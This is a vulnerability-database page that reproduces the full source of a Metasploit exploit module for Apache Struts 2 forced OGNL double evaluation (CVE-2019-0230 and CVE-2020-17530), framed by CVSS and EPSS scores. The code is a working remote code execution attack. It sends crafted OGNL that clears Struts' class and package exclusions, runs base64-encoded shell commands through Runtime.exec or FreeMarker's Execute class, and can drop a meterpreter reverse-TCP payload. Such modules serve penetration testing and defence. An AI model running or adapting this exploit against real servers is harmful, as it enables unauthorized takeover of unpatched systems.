Lucene search

K
metasploitSpencer McIntyre, Matthias Kaiser, Alvaro Muñoz, ka1n4tMSF:EXPLOIT-MULTI-HTTP-STRUTS2_MULTI_EVAL_OGNL-
HistoryDec 16, 2020 - 12:17 a.m.

Apache Struts 2 Forced Multi OGNL Evaluation

2020-12-1600:17:35
Spencer McIntyre, Matthias Kaiser, Alvaro Muñoz, ka1n4t
www.rapid7.com
45

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%

The Apache Struts framework, when forced, performs double evaluation of attributes’ values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag’s attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
        'Description' => %q{
          The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
          attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a
          tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).

          This vulnerability is application dependant. A server side template must make an affected use of request data to
          render an HTML tag attribute.
        },
        'Author' => [
          'Spencer McIntyre', # Metasploit module
          'Matthias Kaiser', # discovery of CVE-2019-0230
          'Alvaro Muñoz', # (@pwntester) discovery of CVE-2020-17530
          'ka1n4t', # PoC of CVE-2020-17530
        ],
        'References' => [
          ['CVE', '2019-0230'],
          ['CVE', '2020-17530'],
          ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],
          ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],
          ['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        },
        'DefaultTarget' => 0
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
      OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),
      OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])
    ])
    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
      OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])
    ])
  end

  def check
    num1 = rand(1000..9999)
    num2 = rand(1000..9999)

    res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
    if res.nil?
      return CheckCode::Unknown
    elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty?
      return CheckCode::Safe
    end

    return CheckCode::Appears
  end

  def exploit
    cve = datastore['CVE']
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")

    if cve == 'CVE-2019-0230'
      ognl = []
      ognl << '#context=#attr[\'struts.valueStack\'].context'
      ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'
      ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
      ognl << '#ognlUtil.setExcludedClasses(\'\')'
      ognl << '#ognlUtil.setExcludedPackageNames(\'\')'
      res = send_request_cgi(build_http_request(cve, ognl))
      fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
    end

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded, { cve: cve })
    when :linux_dropper
      execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })
    end
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)
  end

  def build_http_request(cve, ognl)
    ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array

    http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }
    http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?
    if cve == 'CVE-2019-0230'
      http_request_parameters['method'] = 'GET'
      http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }
    elsif cve == 'CVE-2020-17530'
      http_request_parameters['method'] = 'POST'
      http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }
    end
    http_request_parameters
  end

  def build_ognl(cve, cmd)
    cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
    ognl = []
    if cve == 'CVE-2019-0230'
      ognl << '#context=#attr[\'struts.valueStack\'].context'
      ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'
      ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")"
    elsif cve == 'CVE-2020-17530'
      ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'
      ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'
      ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'
      ognl << '#bean.setBean(#stack)'
      ognl << '#context=#bean.get("context")'
      ognl << '#bean.setBean(#context)'
      ognl << '#macc=#bean.get("memberAccess")'
      ognl << '#bean.setBean(#macc)'
      ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'
      ognl << '#bean.put("excludedClasses",#emptyset)'
      ognl << '#bean.put("excludedPackageNames",#emptyset)'
      ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'
      ognl << "#execute.exec({\"#{cmd}\"})"
    end

    ognl
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%